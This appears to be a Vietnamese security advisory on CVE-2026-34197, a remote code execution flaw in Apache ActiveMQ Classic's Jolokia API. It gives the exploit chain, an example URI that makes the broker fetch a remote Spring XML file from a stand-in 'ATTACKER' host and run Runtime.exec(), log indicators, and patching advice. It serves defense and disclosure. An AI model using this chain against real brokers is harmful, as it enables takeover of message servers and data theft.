Lỗ hổng thực thi mã từ xa tồn tại âm thầm suốt 13 năm trong Apache ActiveMQ

Vừa qua, nhóm nghiên cứu Horizon3 vừa công bố chi tiết về một lỗ hổng thực thi mã từ xa (RCE) nghiêm trọng trong Apache ActiveMQ Classic, tồn tại âm thầm trong suốt 13 năm. Lỗ hổng được định danh CVE-2026-34197 này cho phép kẻ tấn công lợi dụng Jolokia API để ép broker tải và thực thi file cấu hình độc hại từ xa. Đáng chú ý, trên một số phiên bản, lỗ hổng này có thể bị khai thác hoàn toàn không cần xác thực.
Thông tin chi tiết
Định danh lỗ hổng: CVE-2026-34197
Điểm CVSS(3.1): 8.8
Mức độ nghiêm trọng: HIGH - Nghiêm trọng cao
Mô tả: Lỗ hổng Improper Input Validation và Code Injection trong Apache ActiveMQ Classic. Phần mềm này mặc định cho phép thực thi toàn bộ thao tác (exec) trên các ActiveMQ MBean thông qua Jolokia JMX-HTTP bridge tại đường dẫn /api/jolokia/. Kẻ tấn công đã xác thực (authenticated attacker) có thể gọi các thao tác như
BrokerService.addNetworkConnector()hoặcBrokerService.addConnector()với một URI được chế tạo đặc biệt, kích hoạt tham sốbrokerConfigcủa VM transport để tải một Spring XML application context từ xa thông quaResourceXmlApplicationContext. Do Spring khởi tạo toàn bộ singleton bean trước khi BrokerService kịp kiểm tra cấu hình, kẻ tấn công có thể thực thi mã tùy ý trên JVM của broker thông qua các bean factory method nhưRuntime.exec().Phiên bản bị ảnh hưởng: Apache ActiveMQ Classic: trước 5.19.4 và từ 6.0.0 đến trước 6.2.3
Apache ActiveMQ là một message broker mã nguồn mở viết bằng Java, ra mắt từ năm 2004, được sử dụng rộng rãi làm middleware để kết nối và quản lý hàng đợi tin nhắn trong các hệ thống phân tán. ActiveMQ được triển khai rộng rãi trong nhiều lĩnh vực như tài chính, y tế, chính phủ và thương mại điện tử. ActiveMQ Classic đi kèm một giao diện quản trị web trên cổng 8161, tích hợp Jolokia — một HTTP-to-JMX bridge cho phép thực hiện các thao tác quản trị broker thông qua REST API.
Trước đó vào năm 2023, các nhà nghiên cứu tại ThreatBook đã báo cáo lỗ hổng CVE-2022-41678, chỉ ra rằng một kẻ tấn công đã qua xác thực có thể gọi các MBeans của JDK (như FlightRecorder) thông qua Jolokia để ghi webshell lên ổ đĩa. Bản vá cho lỗ hổng này đã giới hạn Jolokia ở các thao tác chỉ đọc (read-only) theo mặc định và từ chối truy cập vào các MBeans nguy hiểm, nhưng lại thêm một quy tắc cho phép toàn bộ (blanket allow) đối với mọi thao tác trên các MBeans riêng của ActiveMQ để bảng điều khiển web có thể tiếp tục hoạt động:
<allow>
<mbean>
<name>org.apache.activemq:*</name>
<attribute>*</attribute>
<operation>*</operation>
</mbean>
</allow>
Tuy nhiên mới đây, lỗ hổng CVE-2026-34197 đã vượt qua bản vá đó bằng cách khai thác chính các MBeans của ActiveMQ.
CVE-2026-34197 bắt nguồn từ cấu hình cho phép toàn bộ thao tác trên các ActiveMQ MBean được gọi qua Jolokia (thiết lập từ bản vá CVE-2022-41678). Trong số đó, thao tác addNetworkConnector trên broker MBean có thể bị lợi dụng theo chuỗi sau:
Kẻ tấn công gọi
addNetworkConnectorhoặcaddConnectorqua Jolokia với một URI được chế tạo đặc biệt theo dạngstatic:(vm://rce?brokerConfig=xbean:http://ATTACKER/payload.xml)VM transport phát hiện broker không tồn tại, tự động gọi
BrokerFactory.createBroker()với URL do kẻ tấn công kiểm soátActiveMQ xử lý URL theo scheme
xbean:, tải file XML về và giao cho Spring'sResourceXmlApplicationContextkhởi tạoSpring khởi tạo toàn bộ singleton bean trước khi BrokerService kịp xác thực cấu hình — file XML độc hại định nghĩa bean gọi
Runtime.getRuntime().exec(), dẫn đến thực thi lệnh hệ thống tùy ý trên JVM của broker
Một khi bị khai thác thành công, kẻ tấn công có thể toàn quyền kiểm soát máy chủ ActiveMQ — vốn đóng vai trò trung tâm kết nối nhiều dịch vụ — tạo bàn đạp để triển khai mã độc, di chuyển ngang trong mạng nội bộ hoặc đánh cắp dữ liệu nhạy cảm.
Hiện tại, chưa ghi nhận khai thác diện rộng đối với CVE-2026-34197. Tuy nhiên, các chuyên gia cảnh báo đây không phải lý do để chủ quan bởi ActiveMQ từ lâu đã là mục tiêu quen thuộc của tin tặc. Cả CVE-2016-3088 và CVE-2023-46604 đều đã có mặt trong danh sách KEV của CISA, và các kỹ thuật khai thác hậu xâm nhập trên ActiveMQ đã được công khai rộng rãi, khiến nguy cơ bị tấn công có thể leo thang nhanh chóng bất cứ lúc nào.
Việc khai thác để lại dấu vết rõ ràng trong log của ActiveMQ broker. Các tổ chức cần chú ý các chỉ số sau:
Trong log broker: Xuất hiện các dòng log liên quan đến network connector với URI chứa
vm://và tham sốbrokerConfig=xbean:http— đây là hoạt động hoàn toàn bất thường trong vận hành bình thườngTrong log HTTP: Các POST request tới
/api/jolokia/chứa chuỗiaddNetworkConnectorhoặcaddConnectortrong bodyTrên hệ thống: Các kết nối HTTP ra ngoài từ tiến trình ActiveMQ tới host lạ, hoặc các tiến trình con bất thường được spawn bởi tiến trình Java của ActiveMQ
Khắc phục & Khuyến nghị
Do tính chất nguy hiểm và khả năng bị khai thác không cần xác thực trên một số phiên bản, các tổ chức đang vận hành Apache ActiveMQ cần thực hiện ngay các biện pháp sau:
Cập nhật bản vá ngay lập tức: Nâng cấp lên ActiveMQ Classic 5.19.4 hoặc 6.2.3 trở lên. Bản vá loại bỏ khả năng
addNetworkConnectorxử lývm://transport — tính năng vốn không được thiết kế để sử dụng từ xa.Kiểm tra và thay đổi thông tin đăng nhập mặc định: Đảm bảo không còn sử dụng thông tin đăng nhập mặc định
admin:admintrên bất kỳ môi trường nào.Hạn chế truy cập từ bên ngoài: Không để cổng quản trị 8161 (Jolokia API) tiếp xúc trực tiếp với Internet. Chỉ cho phép truy cập từ mạng nội bộ hoặc các IP đáng tin cậy.
Giám sát log: Thường xuyên rà soát log broker để phát hiện sớm các dấu hiệu khai thác như mô tả ở trên.
Biện pháp tạm thời: Nếu chưa thể cập nhật ngay, cân nhắc vô hiệu hóa hoặc hạn chế quyền truy cập vào Jolokia endpoint và tăng cường giám sát bảo mật 24/7.






